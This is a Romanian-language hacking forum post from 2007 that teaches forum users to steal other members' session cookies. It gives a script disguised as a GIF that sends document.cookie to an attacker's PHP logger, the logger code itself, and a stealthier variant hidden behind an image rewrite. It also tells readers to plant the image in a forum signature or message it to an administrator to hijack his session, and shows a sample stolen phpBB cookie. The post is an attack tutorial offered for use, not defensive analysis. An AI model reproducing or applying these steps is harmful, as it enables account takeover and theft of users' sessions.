Master
Administrator
Data inscrierii: 05/Noi/2007
Mesaje: 169
Localitate: Craiova
|
 Trimis: 06/11/2007 05:36 Titlul subiectului: Cum Furi Coockies`urile |
|
|
Cum sa furi prajiturelele cu un Gif de la un forum
################################
Tutorial facut de RooT or RooT The Insane
Sper sa-l adorati ItaLiaN BoYz
Enjoy
url: http://h4ckingworld.altervista.org
or
url: http://www.Hacking-Truths.NeT
################################
Step 1
Descide Notepad si scrie:
Code:
<SCRIPT>location.href='http://www.yoursite.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>
save and rename it fun.gif
Pasul 2
Ok, acum trebuie sa creati un cookielogger, ca acesta :
Code:
<?php
$filename = "logfile.txt";
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, 'a'))
{
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
}
else
{
if (fwrite($handle, "rn" . $_GET["cookie"]) === FALSE)
{
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
}
}
echo "Temporary Server Error,Sorry for the inconvenience.";
fclose($handle);
exit;
}
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
?>
salvati-l su datii numele cookielogger.php
Pasul 3
Creati un document nou si ii da-ti numele in logfile.txt
Pasul 4
Ia de pe net o poza sau foloseste una de la tine.
Acum ...
uploadeaza aceste fisiere pe serverul tau, exemplu:
Code:
cookielogger.php -> www.yoursite.com/cookielogger.php
logfile.txt -> www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> www.yoursite.com/fun.gif
Pasul 5
Du-te pe forumul victimei si pune codul in semnatura sau posteaza-l undeva. (view the link 4 the "malicious" code)
Code:
http://www.plunder.com/BBCoDe-4-The-Exp ... d-8729.htm
Cand victima va vedea postul, va vedea de fapt poza
dar cand va da click pe iamgine o sa vada o Temporary Error ...
si tu o sa ai :
Code:
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9
SAU
sau poti fi mai shmecher si tipu sa nu isi dea seama ca e cookie stealer si sa vada poza si sa se comporte dragutz balblal ....
uite cum :
intri in note pad si scrii :
Code:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a";
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n";
fclose($fl);
$img = @imagecreatefromgif('poza.gif');
ImagePng($img);
ImageDestroy($img);
??>
salvezi in a.php
il pui pe server apoi intri iar in notepad si scrii :Options +FollowSymlinks
RewriteEngine on
RewriteRule semn.png$ $a.php
Code:
salvezi in .htaccess . apooi intri iar in notepad si faci un fisier cu numele log.txt apoi pui pe site in folderu c : poza.gif (o poza care sa apra la semnatura) a.php , log.txt si .htaccess dai la toat fiserele din folderu c chmod 777 apoi intri pe forum dai un pm la admin in care ii zic:
Code:
frate am voie sa imi pun semnatura asta :
si o sa ai sesiunea lui ) |
|
[/url]